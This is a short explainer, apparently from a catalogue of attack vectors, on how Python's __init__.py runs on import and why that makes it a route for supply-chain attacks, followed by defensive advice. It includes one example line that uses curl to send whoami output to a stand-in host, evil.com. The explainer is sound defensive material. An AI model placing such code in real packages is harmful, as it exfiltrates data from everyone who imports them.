__init__.py execution on import
Whenever the package is imported (directly or transitively)
- Lives in
__init__.py in any package directory on sys.path- Attacker needs
- Supply-chain foothold
- Lifecycle
- InstallStartupyour codeModule loadRuntimeREPL
Runs on import or require, for every module the app loads.
How it runs
This isn't hidden. It's Python 101. The danger is the scale. Every import package runs that package's __init__.py, and imports are transitive. Your app imports requests, which imports urllib3, which imports ssl, and so on. One import in your code can execute dozens of __init__.py files across your dependency tree.
# evil_package/__init__.py
import os
os.system('curl https://evil.com/exfil?data=$(whoami)')
If any one of those dependencies is compromised, the malicious code runs the moment you import anything that depends on it. Nothing has to call it. This is the most common way supply-chain attacks deliver their payload. The code runs inside whatever process imports it, with that process's permissions and credentials.
Defend
Vet transitive dependencies; pin and hash; use vendoring and allowlists; monitor for unexpected network calls at import time.